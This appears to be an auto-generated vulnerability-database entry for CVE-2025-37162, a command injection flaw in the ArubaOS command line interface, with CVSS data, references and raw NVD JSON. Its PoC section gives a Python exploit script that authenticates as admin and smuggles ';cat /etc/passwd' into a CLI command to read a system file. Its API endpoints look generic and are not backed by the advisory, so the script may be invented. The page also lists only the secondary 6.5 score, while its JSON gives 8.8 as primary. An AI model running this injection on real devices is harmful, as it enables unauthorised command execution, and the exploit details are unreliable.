CVE-2025-37162

Description

A vulnerability in the command line interface of affected devices could allow an authenticated remote attacker to conduct a command injection attack. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE

HPE Aruba Networking设备受影响版本（具体版本需参考官方公告）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-37162 PoC - HPE CLI Command Injection
# Requires high-privilege authentication

import requests
import sys

target = "https://<target-ip>:4343"
username = "admin"
password = "<password>"

session = requests.Session()

# Step 1: Authenticate to CLI
auth_data = {
    "username": username,
    "password": password
}
auth_response = session.post(f"{target}/v1/api/login", json=auth_data)

if auth_response.status_code != 200:
    print("[-] Authentication failed")
    sys.exit(1)

print("[+] Authentication successful")

# Step 2: Send malicious command with command injection payload
# Payload: Execute arbitrary OS command via CLI
malicious_cmd = ";cat /etc/passwd"  # Example: Read password file

cli_data = {
    "command": f"show version{malicious_cmd}",
    "format": "json"
}

response = session.post(f"{target}/v1/api/cli", json=cli_data)

if response.status_code == 200:
    print("[+] Command injection successful")
    print(response.text)
else:
    print("[-] Exploitation failed")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-37162
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-37162
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-37162/
[4] VulDB https://vuldb.com/cve/CVE-2025-37162
[5] https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04970en_us&docLocale=en_US

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-37162", "sourceIdentifier": "[email protected]", "published": "2025-11-18T20:15:46.723", "lastModified": "2026-02-13T16:22:59.433", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the command line interface of affected devices could allow an authenticated remote attacker to conduct a command injection attack. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.7.2.0", "matchCriteriaId": "E1D4DF06-641C-40FD-AC80-F104B0319E2E"}]}]}], "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04970en_us&docLocale=en_US", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}